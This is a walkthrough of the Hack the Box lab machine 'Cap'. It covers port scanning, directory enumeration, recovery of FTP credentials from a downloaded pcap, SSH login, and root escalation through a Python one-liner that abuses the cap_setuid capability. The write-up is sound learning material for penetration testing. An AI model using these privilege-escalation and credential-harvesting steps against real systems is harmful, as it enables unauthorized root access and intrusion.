Details
This machine is Cap from Hack the Box
Recon
kali@kali:~$ nmap -sV -p- 10.10.10.245
Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-13 09:24 EDT
Nmap scan report for 10.10.10.245
Host is up (0.022s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
80/tcp open http gunicorn
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port80-TCP:V=7.91%I=7%D=6/13%Time=60C6073C%P=x86_64-pc-linux-gnu%r(GetR
SF:equest,105F,"HTTP/1\.0\x20200\x20OK\r\nServer:\x20gunicorn\r\nDate:\x20
SF:Sun,\x2013\x20Jun\x202021\x2013:26:24\x20GMT\r\nConnection:\x20close\r\
SF:nContent-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length:\x20193
SF:86\r\n\r\n<!DOCTYPE\x20html>\n<html\x20class=\"no-js\"\x20lang=\"en\">\
SF:n\n<head>\n\x20\x20\x20\x20<meta\x20charset=\"utf-8\">\n\x20\x20\x20\x2
SF:0<meta\x20http-equiv=\"x-ua-compatible\"\x20content=\"ie=edge\">\n\x20\
SF:x20\x20\x20<title>Security\x20Dashboard</title>\n\x20\x20\x20\x20<meta\
SF:x20name=\"viewport\"\x20content=\"width=device-width,\x20initial-scale=
SF:1\">\n\x20\x20\x20\x20<link\x20rel=\"shortcut\x20icon\"\x20type=\"image
SF:/png\"\x20href=\"/static/images/icon/favicon\.ico\">\n\x20\x20\x20\x20<
SF:link\x20rel=\"stylesheet\"\x20href=\"/static/css/bootstrap\.min\.css\">
SF:\n\x20\x20\x20\x20<link\x20rel=\"stylesheet\"\x20href=\"/static/css/fon
SF:t-awesome\.min\.css\">\n\x20\x20\x20\x20<link\x20rel=\"stylesheet\"\x20
SF:href=\"/static/css/themify-icons\.css\">\n\x20\x20\x20\x20<link\x20rel=
SF:\"stylesheet\"\x20href=\"/static/css/metisMenu\.css\">\n\x20\x20\x20\x2
SF:0<link\x20rel=\"stylesheet\"\x20href=\"/static/css/owl\.carousel\.min\.
SF:css\">\n\x20\x20\x20\x20<link\x20rel=\"stylesheet\"\x20href=\"/static/c
SF:ss/slicknav\.min\.css\">\n\x20\x20\x20\x20<!--\x20amchar")%r(HTTPOption
SF:s,B3,"HTTP/1\.0\x20200\x20OK\r\nServer:\x20gunicorn\r\nDate:\x20Sun,\x2
SF:013\x20Jun\x202021\x2013:26:24\x20GMT\r\nConnection:\x20close\r\nConten
SF:t-Type:\x20text/html;\x20charset=utf-8\r\nAllow:\x20GET,\x20HEAD,\x20OP
SF:TIONS\r\nContent-Length:\x200\r\n\r\n")%r(RTSPRequest,121,"HTTP/1\.1\x2
SF:0400\x20Bad\x20Request\r\nConnection:\x20close\r\nContent-Type:\x20text
SF:/html\r\nContent-Length:\x20196\r\n\r\n<html>\n\x20\x20<head>\n\x20\x20
SF:\x20\x20<title>Bad\x20Request</title>\n\x20\x20</head>\n\x20\x20<body>\
SF:n\x20\x20\x20\x20<h1><p>Bad\x20Request</p></h1>\n\x20\x20\x20\x20Invali
SF:d\x20HTTP\x20Version\x20'Invalid\x20HTTP\x20Version:\x20'RTSP
SF:/1\.0''\n\x20\x20</body>\n</html>\n")%r(FourOhFourRequest,189
SF:,"HTTP/1\.0\x20404\x20NOT\x20FOUND\r\nServer:\x20gunicorn\r\nDate:\x20S
SF:un,\x2013\x20Jun\x202021\x2013:26:29\x20GMT\r\nConnection:\x20close\r\n
SF:Content-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length:\x20232\
SF:r\n\r\n<!DOCTYPE\x20HTML\x20PUBLIC\x20\"-//W3C//DTD\x20HTML\x203\.2\x20
SF:Final//EN\">\n<title>404\x20Not\x20Found</title>\n<h1>Not\x20Found</h1>
SF:\n<p>The\x20requested\x20URL\x20was\x20not\x20found\x20on\x20the\x20ser
SF:ver\.\x20If\x20you\x20entered\x20the\x20URL\x20manually\x20please\x20ch
SF:eck\x20your\x20spelling\x20and\x20try\x20again\.</p>\n");
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 142.81 seconds
User
I started by browsing to http://10.10.10.245
I ran a dirsearch to enumerate potential endpoints
kali@kali:~$ dirsearch -u http://10.10.10.245 -w /opt/SecLists/Discovery/Web-Content/raft-large-words.txt
_|. _ _ _ _ _ _|_ v0.4.1
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 119600
Error Log: /opt/dirsearch/logs/errors-21-06-13_09-36-42.log
Target: http://10.10.10.245/
Output File: /opt/dirsearch/reports/10.10.10.245/_21-06-13_09-36-42.txt
[09:36:42] Starting:
[09:36:42] 302 - 208B - /data -> http://10.10.10.245/
[SNIP]
/data
redirected back to the root, so I ran a search on it assuming it may be a directory
kali@kali:~$ dirsearch -u http://10.10.10.245/data -w /opt/SecLists/Discovery/Web-Content/raft-large-words.txt
_|. _ _ _ _ _ _|_ v0.4.1
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 119600
Error Log: /opt/dirsearch/logs/errors-21-06-13_09-37-55.log
Target: http://10.10.10.245/data/
Output File: /opt/dirsearch/reports/10.10.10.245/data_21-06-13_09-37-55.txt
[09:37:55] Starting:
[09:37:56] 200 - 17KB - /data/2
[09:37:56] 200 - 17KB - /data/0
[09:37:57] 200 - 17KB - /data/02
[09:38:00] 200 - 17KB - /data/00
[SNIP]
I accessed http://10.10.10.245/data/00
I clicked download and it offered me a pcap
file. So, I opened this in Wireshark. Within this I found an FTP stream which I inspected
This gave me some creds of
nathan : Buck3tH4TF0RM3!
So I tested them on FTP
kali@kali:~$ ftp 10.10.10.245
Connected to 10.10.10.245.
220 (vsFTPd 3.0.3)
Name (10.10.10.245:kali): nathan
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
I then looked for any useful files
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-r-------- 1 1001 1001 33 Jun 13 13:24 user.txt
226 Directory send OK.
# ftp> get user.txt
local: user.txt remote: user.txt
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for user.txt (33 bytes).
226 Transfer complete.
33 bytes received in 0.00 secs (716.1458 kB/s)
kali@kali:~$ cat user.txt
[REDACTED]
The user flag!
Root
So I had the user flag, but still needed to get onto the machine properly. I tried the same creds on ssh
kali@kali:~$ ssh nathan@10.10.10.245
nathan@10.10.10.245's password:
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-73-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Sun Jun 13 13:46:04 UTC 2021
System load: 0.02
Usage of /: 35.0% of 8.73GB
Memory usage: 22%
Swap usage: 0%
Processes: 227
Users logged in: 0
IPv4 address for eth0: 10.10.10.245
IPv6 address for eth0: dead:beef::250:56ff:feb9:a2f
=> There are 2 zombie processes.
* Super-optimized for small spaces - read how we shrank the memory
footprint of MicroK8s to make it the smallest full K8s around.
https://ubuntu.com/blog/microk8s-memory-optimisation
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Last login: Thu May 27 11:21:27 2021 from 10.10.14.7
nathan@cap:~$
Looking around I found
nathan@cap:/var/www/html$ ls -la
total 32
drwxr-xr-x 6 nathan nathan 4096 May 25 07:25 .
drwxr-xr-x 3 root root 4096 May 23 19:17 ..
drwxr-xr-x 2 nathan nathan 4096 May 27 09:10 __pycache__
-rw-r--r-- 1 nathan nathan 4293 May 25 07:25 app.py
drwxr-xr-x 6 root root 4096 May 23 19:17 static
drwxr-xr-x 2 root root 4096 May 23 19:17 templates
drwxr-xr-x 2 root root 4096 Jun 13 13:30 upload
nathan@cap:/var/www/html$ cat app.py
[SNIP]
def capture():
get_lock()
pcapid = get_appid()
increment_appid()
release_lock()
path = os.path.join(app.root_path, "upload", str(pcapid) + ".pcap")
ip = request.remote_addr
# permissions issues with gunicorn and threads. hacky solution for now.
#os.setuid(0)
#command = f"timeout 5 tcpdump -w {path} -i any host {ip}"
command = f"""python3 -c 'import os; os.setuid(0); os.system("timeout 5 tcpdump -w {path} -i any host {ip}")'"""
os.system(command)
#os.setuid(1000)
return redirect("/data/" + str(pcapid))
So it looks like this app is using setuid
to give itself root privileges. So it likely isn't running as root directly. The main way this can happen is if the binary, in this case python, has either the suid
bit set, or a capability assigned
nathan@cap:/var/www/html$ getcap /usr/bin/python3.8
/usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip
So it has an assigned capabilty. Therefore, we can use this to become root ourselves. I simply used the Python os
module to setuid(0)
then spawn a /bin/sh
instance. Which would be as root
nathan@cap:/var/www/html$ python3 -c "import os;os.setuid(0);os.system('/bin/sh')"
#
# id
uid=0(root) gid=1001(nathan) groups=1001(nathan)
Just need to grab the flag
# cd /root
# ls -la
total 36
drwx------ 6 root root 4096 May 27 09:16 .
drwxr-xr-x 20 root root 4096 Jun 1 10:09 ..
lrwxrwxrwx 1 root root 9 May 15 21:40 .bash_history -> /dev/null
-rw-r--r-- 1 root root 3106 Dec 5 2019 .bashrc
drwxr-xr-x 3 root root 4096 May 23 19:17 .cache
drwxr-xr-x 3 root root 4096 May 23 19:17 .local
-rw-r--r-- 1 root root 161 Dec 5 2019 .profile
drwx------ 2 root root 4096 May 23 19:17 .ssh
lrwxrwxrwx 1 root root 9 May 27 09:16 .viminfo -> /dev/null
-r-------- 1 root root 33 Jun 13 13:24 root.txt
drwxr-xr-x 3 root root 4096 May 23 19:17 snap
# cat root.txt
[REDACTED]